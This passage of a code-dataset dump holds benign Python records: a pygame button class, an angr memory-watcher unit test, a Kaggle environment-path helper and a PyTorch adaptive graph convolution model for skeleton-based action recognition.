"translate_async.extract_gold_signature", "line_number": 225, "usage_type": "call"}, {"api_name": "translate_async.extract_gold_signature", "line_number": 227, "usage_type": "call"}, {"api_name": "dataset_builder.utils.cap", "line_number": 238, "usage_type": "call"}, {"api_name": "dataset_builder.utils.SHORT2CANONICAL", "line_number": 238, "usage_type": "name"}, {"api_name": "dataset_builder.utils.cap", "line_number": 239, "usage_type": "call"}, {"api_name": "dataset_builder.utils.SHORT2CANONICAL", "line_number": 239, "usage_type": "name"}, {"api_name": "dataset_builder.generic_translator.add_few_shot", "line_number": 241, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 253, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 257, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 261, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 265, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path.makedirs", "line_number": 277, "usage_type": "call"}, {"api_name": "os.path", "line_number": 277, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 277, "usage_type": "call"}, {"api_name": "generic_translator.get_stop_from_translator", "line_number": 299, "usage_type": "call"}, {"api_name": "dataset_builder.generic_translator.modify_translation_prompt", "line_number": 301, "usage_type": "call"}, {"api_name": "dataset_builder.utils.cap", "line_number": 303, "usage_type": "call"}, {"api_name": "dataset_builder.utils.SHORT2CANONICAL", "line_number": 303, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 311, "usage_type": "call"}, {"api_name": "dataset_builder.utils.get_multi_vew_acronym", "line_number": 334, "usage_type": "call"}]}
{"seq_id": "32738106407", "text": "import pygame\r\nfrom Colours import *\r\n\r\n\r\nclass Button():\r\n\r\n    def setText(self, text):\r\n\r\n        self.txt_surf = pygame.font.Font(None, 25).render(text, True, colours['black'])\r\n        txt_width, txt_height = self.txt_surf.get_size()\r\n\r\n        x_point = self.button_location[0] + (self.button_size[0]/2) - (txt_width/2)\r\n        y_point = self.button_location[1] + (self.button_size[1]/2) - (txt_height/2)\r\n\r\n        self.txt_loc = (x_point, y_point)\r\n\r\n\r\n    def __init__(self, gameDisplay, colour, button_location, button_size):\r\n\r\n        self.button_location = button_location\r\n        self.colour = colour\r\n        self.button_size = button_size\r\n        self.gameDisplay = gameDisplay\r\n\r\n\r\n    def draw(self):\r\n\r\n        self.rect = pygame.draw.rect(\r\n            self.gameDisplay,\r\n            self.colour,\r\n            (self.button_location[0], self.button_location[1],\r\n                self.button_size[0], self.button_size[1]),\r\n             2\r\n        )\r\n\r\n        self.gameDisplay.blit(self.txt_surf, self.txt_loc)\r\n", "repo_name": "ppsha3/Handwritten-Digit-Recognition", "sub_path": "Button.py", "file_name": "Button.py", "file_ext": "py", "file_size_in_byte": 1034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.font.Font", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 28, "usage_type": "attribute"}]}
{"seq_id": "28439255148", "text": "import os\nimport sys\nimport logging\n\nimport angr\nimport nose\n\nimport psutil\nfrom common import bin_location\n\ndef test_memory_watcher():\n    binary = os.path.join(bin_location, 'tests', 'x86_64', 'veritesting_a')\n    proj = angr.Project(binary)\n    simgr = proj.factory.simulation_manager()\n\n    memory_watcher = angr.exploration_techniques.MemoryWatcher()\n    simgr.use_technique(memory_watcher)\n\n    # Initially build some paths\n    while len(simgr.active) < 32 and  simgr.active != []:\n        simgr.step()\n\n    # Something else went wrong..\n    nose.tools.assert_true(simgr.active != [])\n\n    # Set fake that memory watcher believes we're too low on memory\n    memory_watcher.min_memory = psutil.virtual_memory().total\n\n    previous_active = len(simgr.active)\n\n    # Step once to move things over\n    simgr.step()\n\n    nose.tools.assert_true(simgr.active == [])\n    nose.tools.assert_true(len(getattr(simgr, memory_watcher.memory_stash)) == previous_active)\n\ndef run_all():\n    functions = globals()\n    all_functions = dict(filter((lambda kv: kv[0].startswith('test_')), functions.items()))\n    for f in sorted(all_functions.keys()):\n        if hasattr(all_functions[f], '__call__'):\n            all_functions[f]()\n\nif __name__ == \"__main__\":\n    logging.getLogger(\"angr.exploration_techniques.memory_watcher\").setLevel('DEBUG')\n    if len(sys.argv) > 1:\n        globals()['test_' + sys.argv[1]]()\n    else:\n        run_all()\n", "repo_name": "ucsb-seclab/heapster", "sub_path": "heapster-env/angr-dev/angr/tests/test_memory_watcher.py", "file_name": "test_memory_watcher.py", "file_ext": "py", "file_size_in_byte": 1430, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "common.bin_location", "line_number": 12, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "angr.Project", "line_number": 13, "usage_type": "call"}, {"api_name": "angr.exploration_techniques.MemoryWatcher", "line_number": 16, "usage_type": "call"}, {"api_name": "angr.exploration_techniques", "line_number": 16, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 24, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 24, "usage_type": "attribute"}, {"api_name": "psutil.virtual_memory", "line_number": 27, "usage_type": "call"}, {"api_name": "nose.tools.assert_true", "line_number": 34, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 34, "usage_type": "attribute"}, {"api_name": "nose.tools.assert_true", "line_number": 35, "usage_type": "call"}, {"api_name": "nose.tools", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 47, "usage_type": "attribute"}]}
{"seq_id": "15346333735", "text": "import os\nimport platform\nfrom pathlib import Path\nfrom typing import Tuple\n\n\ndef classify_env(competiton_name: str, exp_name: str) -> Tuple[Path, Path, Path]:\n    # Colab\n    if \"COLAB_GPU\" in set(os.environ.keys()):\n        DATA_DIR = Path(\"/\", \"content\", \"drive\", \"MyDrive\", \"Kaggle\", competiton_name, \"input\")\n        EXP_DIR = DATA_DIR.parents[0] / exp_name\n        OUTPUT_MODEL_DIR = EXP_DIR / \"output_model\"\n\n        print(\"Set environ for COLAB\")\n\n    # kaggle\n    elif \"KAGGLE_URL_BASE\" in set(os.environ.keys()):\n        DATA_DIR = Path(\"input/\")\n        EXP_DIR = Path(\"./\")\n        OUTPUT_MODEL_DIR = EXP_DIR / \"output_model\"\n\n        print(\"Set environ for Kaglle\")\n\n    # macOS\n    elif platform.system() == \"Darwin\":\n        DATA_DIR = Path(__file__).parents[2] / \"input\"\n        EXP_DIR = Path(__file__).parents[0]\n        OUTPUT_MODEL_DIR = EXP_DIR / \"output_model\"\n\n        print(\"Set environ for macOS\")\n\n    else:\n        raise ValueError(\"Can't classify your environment\")\n\n    return DATA_DIR, EXP_DIR, OUTPUT_MODEL_DIR\n", "repo_name": "sinchir0/kaggle_nbme", "sub_path": "nbme_pipeline/ex001/classify_env.py", "file_name": "classify_env.py", "file_ext": "py", "file_size_in_byte": 1042, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ.keys", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ.keys", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 18, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "call"}, {"api_name": "platform.system", "line_number": 25, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 26, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 27, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 7, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "36776724540", "text": "import math\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\n\ndef import_class(name):\n    components = name.split('.')\n    mod = __import__(components[0])\n    for comp in components[1:]:\n        mod = getattr(mod, comp)\n    return mod\n\n\ndef conv_branch_init(conv, branches):\n    weight = conv.weight\n    n = weight.size(0)\n    k1 = weight.size(1)\n    k2 = weight.size(2)\n    nn.init.normal_(weight, 0, math.sqrt(2. / (n * k1 * k2 * branches)))\n    nn.init.constant_(conv.bias, 0)\n\n\ndef conv_init(conv):\n    nn.init.kaiming_normal_(conv.weight, mode='fan_out')\n    nn.init.constant_(conv.bias, 0)\n\n\ndef bn_init(bn, scale):\n    nn.init.constant_(bn.weight, scale)\n    nn.init.constant_(bn.bias, 0)\n\n\nclass unit_tcn(nn.Module):\n    def __init__(self, in_channels, out_channels, kernel_size=9, stride=1):\n        super(unit_tcn, self).__init__()\n        pad = int((kernel_size - 1) / 2)\n        self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=(kernel_size, 1), padding=(pad, 0),\n                              stride=(stride, 1))\n\n        self.bn = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=True)\n        conv_init(self.conv)\n        bn_init(self.bn, 1)\n\n    def forward(self, x):\n        x = self.bn(self.conv(x))\n        return x\n\n\nclass unit_gcn(nn.Module):\n    def __init__(self, in_channels, out_channels, A, coff_embedding=4, num_subset=3, adaptive=True, attention=True):\n        super(unit_gcn, self).__init__()\n        inter_channels = out_channels // coff_embedding\n        self.inter_c = inter_channels\n        self.out_c = out_channels\n        self.in_c = in_channels\n        self.num_subset = num_subset\n        num_jpts = A.shape[-1]\n\n        self.conv_d = nn.ModuleList()\n        for i in range(self.num_subset):\n            self.conv_d.append(nn.Conv2d(in_channels, out_channels, 1))\n\n        if adaptive:\n            self.PA = nn.Parameter(torch.from_numpy(A.astype(np.float32)))\n            self.alpha = nn.Parameter(torch.zeros(1))\n            # self.beta = nn.Parameter(torch.ones(1))\n            # nn.init.constant_(self.PA, 1e-6)\n            # self.A = Variable(torch.from_numpy(A.astype(np.float32)), requires_grad=False)\n            # self.A = self.PA\n            self.conv_a = nn.ModuleList()\n            self.conv_b = nn.ModuleList()\n            for i in range(self.num_subset):\n                self.conv_a.append(nn.Conv2d(in_channels, inter_channels, 1))\n                self.conv_b.append(nn.Conv2d(in_channels, inter_channels, 1))\n        else:\n            self.A = Variable(torch.from_numpy(A.astype(np.float32)), requires_grad=False)\n        self.adaptive = adaptive\n\n        if attention:\n            # self.beta = nn.Parameter(torch.zeros(1))\n            # self.gamma = nn.Parameter(torch.zeros(1))\n            # unified attention\n            # self.Attention = nn.Parameter(torch.ones(num_jpts))\n\n            # temporal attention\n            self.conv_ta = nn.Conv1d(out_channels, 1, 9, padding=4)\n            nn.init.constant_(self.conv_ta.weight, 0)\n            nn.init.constant_(self.conv_ta.bias, 0)\n\n            # s attention\n            ker_jpt = num_jpts - 1 if not num_jpts % 2 else num_jpts\n            pad = (ker_jpt - 1) // 2\n            self.conv_sa = nn.Conv1d(out_channels, 1, ker_jpt, padding=pad)\n            nn.init.xavier_normal_(self.conv_sa.weight)\n            nn.init.constant_(self.conv_sa.bias, 0)\n\n            # channel attention\n            rr = 2\n            self.fc1c = nn.Linear(out_channels, out_channels // rr)\n            self.fc2c = nn.Linear(out_channels // rr, out_channels)\n            nn.init.kaiming_normal_(self.fc1c.weight)\n            nn.init.constant_(self.fc1c.bias, 0)\n            nn.init.constant_(self.fc2c.weight, 0)\n            nn.init.constant_(self.fc2c.bias, 0)\n\n            # self.bn = nn.BatchNorm2d(out_channels)\n            # bn_init(self.bn, 1)\n        self.attention = attention\n\n        if in_channels != out_channels:\n            self.down = nn.Sequential(\n                nn.Conv2d(in_channels, out_channels, 1),\n                nn.BatchNorm2d(out_channels)\n            )\n        else:\n            self.down = lambda x: x\n\n        self.bn = nn.BatchNorm2d(out_channels)\n        self.soft = nn.Softmax(-2)\n        self.tan = nn.Tanh()\n        self.sigmoid = nn.Sigmoid()\n        self.relu = nn.ReLU(inplace=True)\n\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                conv_init(m)\n            elif isinstance(m, nn.BatchNorm2d):\n                bn_init(m, 1)\n        bn_init(self.bn, 1e-6)\n        for i in range(self.num_subset):\n            conv_branch_init(self.conv_d[i], self.num_subset)\n\n    def forward(self, x):\n        N, C, T, V = x.size()\n\n        y = None\n        if self.adaptive:\n            A = self.PA\n            # A = A + self.PA\n            for i in range(self.num_subset):\n                A1 = self.conv_a[i](x).permute(0, 3, 1, 2).contiguous().view(N, V, self.inter_c * T)\n                A2 = self.conv_b[i](x).view(N, self.inter_c * T, V)\n                A1 = self.tan(torch.matmul(A1, A2) / A1.size(-1))  # N V V\n                A1 = A[i] + A1 * self.alpha\n                A2 = x.view(N, C * T, V)\n                z = self.conv_d[i](torch.matmul(A2, A1).view(N, C, T, V))\n                y = z + y if y is not None else z\n        else:\n            A = self.A.cuda(x.get_device()) * self.mask\n            for i in range(self.num_subset):\n                A1 = A[i]\n                A2 = x.view(N, C * T, V)\n                z = self.conv_d[i](torch.matmul(A2, A1).view(N, C, T, V))\n                y = z + y if y is not None else z\n\n        y = self.bn(y)\n        y += self.down(x)\n        y = self.relu(y)\n\n        if self.attention:\n            # spatial attention\n            se = y.mean(-2)  # N C V\n            se1 = self.sigmoid(self.conv_sa(se))\n            y = y * se1.unsqueeze(-2) + y\n            # a1 = se1.unsqueeze(-2)\n\n            # temporal attention\n            se = y.mean(-1)\n            se1 = self.sigmoid(self.conv_ta(se))\n            y = y * se1.unsqueeze(-1) + y\n            # a2 = se1.unsqueeze(-1)\n\n            # channel attention\n            se = y.mean(-1).mean(-1)\n            se1 = self.relu(self.fc1c(se))\n            se2 = self.sigmoid(self.fc2c(se1))\n            y = y * se2.unsqueeze(-1).unsqueeze(-1) + y\n            # a3 = se2.unsqueeze(-1).unsqueeze(-1)\n\n            # unified attention\n            # y = y * self.Attention + y\n            # y = y + y * ((a2 + a3) / 2)\n            # y = self.bn(y)\n        return y\n\n\nclass TCN_GCN_unit(nn.Module):\n    def __init__(self, in_channels, out_channels, A, stride=1, residual=True, adaptive=True, attention=True):\n        super(TCN_GCN_unit, self).__init__()\n        self.gcn1 = unit_gcn(in_channels, out_channels, A, adaptive=adaptive, attention=attention)\n        self.tcn1 = unit_tcn(out_channels, out_channels, stride=stride)\n        self.relu = nn.ReLU(inplace=True)\n        # if attention:\n        # self.alpha = nn.Parameter(torch.zeros(1))\n        # self.beta = nn.Parameter(torch.ones(1))\n        # temporal attention\n        # self.conv_ta1 = nn.Conv1d(out_channels, out_channels//rt, 9, padding=4)\n        # self.bn = nn.BatchNorm2d(out_channels)\n        # bn_init(self.bn, 1)\n        # self.conv_ta2 = nn.Conv1d(out_channels, 1, 9, padding=4)\n        # nn.init.kaiming_normal_(self.conv_ta1.weight)\n        # nn.init.constant_(self.conv_ta1.bias, 0)\n        # nn.init.constant_(self.conv_ta2.weight, 0)\n        # nn.init.constant_(self.conv_ta2.bias, 0)\n\n        # rt = 4\n        # self.inter_c = out_channels // rt\n        # self.conv_ta1 = nn.Conv2d(out_channels, out_channels // rt, 1)\n        # self.conv_ta2 = nn.Conv2d(out_channels, out_channels // rt, 1)\n        # nn.init.constant_(self.conv_ta1.weight, 0)\n        # nn.init.constant_(self.conv_ta1.bias, 0)\n        # nn.init.constant_(self.conv_ta2.weight, 0)\n        # nn.init.constant_(self.conv_ta2.bias, 0)\n        # s attention\n        # num_jpts = A.shape[-1]\n        # ker_jpt = num_jpts - 1 if not num_jpts % 2 else num_jpts\n        # pad = (ker_jpt - 1) // 2\n        # self.conv_sa = nn.Conv1d(out_channels, 1, ker_jpt, padding=pad)\n        # nn.init.constant_(self.conv_sa.weight, 0)\n        # nn.init.constant_(self.conv_sa.bias, 0)\n\n        # channel attention\n        # rr = 16\n        # self.fc1c = nn.Linear(out_channels, out_channels // rr)\n        # self.fc2c = nn.Linear(out_channels // rr, out_channels)\n        # nn.init.kaiming_normal_(self.fc1c.weight)\n        # nn.init.constant_(self.fc1c.bias, 0)\n        # nn.init.constant_(self.fc2c.weight, 0)\n        # nn.init.constant_(self.fc2c.bias, 0)\n        #\n        # self.softmax = nn.Softmax(-2)\n        # self.sigmoid = nn.Sigmoid()\n        self.attention = attention\n\n        if not residual:\n            self.residual = lambda x: 0\n\n        elif (in_channels == out_channels) and (stride == 1):\n            self.residual = lambda x: x\n\n        else:\n            self.residual = unit_tcn(in_channels, out_channels, kernel_size=1, stride=stride)\n\n    def forward(self, x):\n        if self.attention:\n            y = self.relu(self.tcn1(self.gcn1(x)) + self.residual(x))\n\n            # spatial attention\n            # se = y.mean(-2)  # N C V\n            # se1 = self.sigmoid(self.conv_sa(se))\n            # y = y * se1.unsqueeze(-2) + y\n            # a1 = se1.unsqueeze(-2)\n\n            # temporal attention\n            # se = y.mean(-1)  # N C T\n            # # se1 = self.relu(self.bn(self.conv_ta1(se)))\n            # se2 = self.sigmoid(self.conv_ta2(se))\n            # # y = y * se1.unsqueeze(-1) + y\n            # a2 = se2.unsqueeze(-1)\n\n            # se = y  # NCTV\n            # N, C, T, V = y.shape\n            # se1 = self.conv_ta1(se).permute(0, 2, 1, 3).contiguous().view(N, T, self.inter_c * V)  # NTCV\n            # se2 = self.conv_ta2(se).permute(0, 1, 3, 2).contiguous().view(N, self.inter_c * V, T)  # NCVT\n            # a2 = self.softmax(torch.matmul(se1, se2) / np.sqrt(se1.size(-1)))  # N T T\n            # y = torch.matmul(y.permute(0, 1, 3, 2).contiguous().view(N, C * V, T), a2) \\\n            #         .view(N, C, V, T).permute(0, 1, 3, 2) * self.alpha + y\n\n            # channel attention\n            # se = y.mean(-1).mean(-1)\n            # se1 = self.relu(self.fc1c(se))\n            # se2 = self.sigmoid(self.fc2c(se1))\n            # # y = y * se2.unsqueeze(-1).unsqueeze(-1) + y\n            # a3 = se2.unsqueeze(-1).unsqueeze(-1)\n            #\n            # y = y * ((a2 + a3) / 2) + y\n            # y = self.bn(y)\n        else:\n            y = self.relu(self.tcn1(self.gcn1(x)) + self.residual(x))\n        return y\n\n\nclass Model(nn.Module):\n    def __init__(self, num_class=60, num_point=25, num_person=2, graph=None, graph_args=dict(), in_channels=3,\n                 drop_out=0, adaptive=True, attention=True):\n        super(Model, self).__init__()\n\n        if graph is None:\n            raise ValueError()\n        else:\n            Graph = import_class(graph)\n            self.graph = Graph(**graph_args)\n\n        A = self.graph.A\n        self.num_class = num_class\n\n        self.data_bn = nn.BatchNorm1d(num_person * in_channels * num_point)\n\n        self.l1 = TCN_GCN_unit(3, 64, A, residual=False, adaptive=adaptive, attention=attention)\n        self.l2 = TCN_GCN_unit(64, 64, A, adaptive=adaptive, attention=attention)\n        self.l3 = TCN_GCN_unit(64, 64, A, adaptive=adaptive, attention=attention)\n        self.l4 = TCN_GCN_unit(64, 64, A, adaptive=adaptive, attention=attention)\n        self.l5 = TCN_GCN_unit(64, 128, A, stride=2, adaptive=adaptive, attention=attention)\n        self.l6 = TCN_GCN_unit(128, 128, A, adaptive=adaptive, attention=attention)\n        self.l7 = TCN_GCN_unit(128, 128, A, adaptive=adaptive, attention=attention)\n        self.l8 = TCN_GCN_unit(128, 256, A, stride=2, adaptive=adaptive, attention=attention)\n        self.l9 = TCN_GCN_unit(256, 256, A, adaptive=adaptive, attention=attention)\n        self.l10 = TCN_GCN_unit(256, 256, A, adaptive=adaptive, attention=attention)\n\n        self.fc = nn.Linear(256, num_class)\n        nn.init.normal_(self.fc.weight, 0, math.sqrt(2. / num_class))\n        bn_init(self.data_bn, 1)\n        if drop_out:\n            self.drop_out = nn.Dropout(drop_out)\n        else:\n            self.drop_out = lambda x: x\n\n    def forward(self, x):\n        N, C, T, V, M = x.size()\n\n        x = x.permute(0, 4, 3, 1, 2).contiguous().view(N, M * V * C, T)\n        x = self.data_bn(x)\n        x = x.view(N, M, V, C, T).permute(0, 1, 3, 4, 2).contiguous().view(N * M, C, T, V)\n\n        x = self.l1(x)\n        x = self.l2(x)\n        x = self.l3(x)\n        x = self.l4(x)\n        x = self.l5(x)\n        x = self.l6(x)\n        x = self.l7(x)\n        x = self.l8(x)\n        x = self.l9(x)\n        x = self.l10(x)\n\n        # N*M,C,T,V\n        c_new = x.size(1)\n        x = x.view(N, M, c_new, -1)\n        x = x.mean(3).mean(1)\n        x = self.drop_out(x)\n\n        return self.fc(x)\n", "repo_name": "lshiwjx/2s-AGCN", "sub_path": "model/aagcn.py", "file_name": "aagcn.py", "file_ext": "py", "file_size_in_byte": 13013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 608, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.init.normal_", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn.init.constant_", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 68, "usage_type": "attribute"}, {"api_name": "torch.nn.Parameter", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv1d", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 92, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_normal_", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 105, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 105, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 106, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 106, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.nn.init.constant_", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 108, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 116, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 117, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 123, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 124, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 129, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 129, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 131, "usage_type": "name"}, {"api_name": "torch.matmul", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 191, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 191, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 196, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 287, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 287, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 301, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 301, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 314, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 314, "usage_type": "name"}, {"api_name": "torch.nn.init.normal_", "line_number": 315, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 315, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 315, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 315, "usage_type": "call"}, {"api_name": "torch.nn.Dropout", "line_number": 318, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 318, "usage_type": "name"}]}
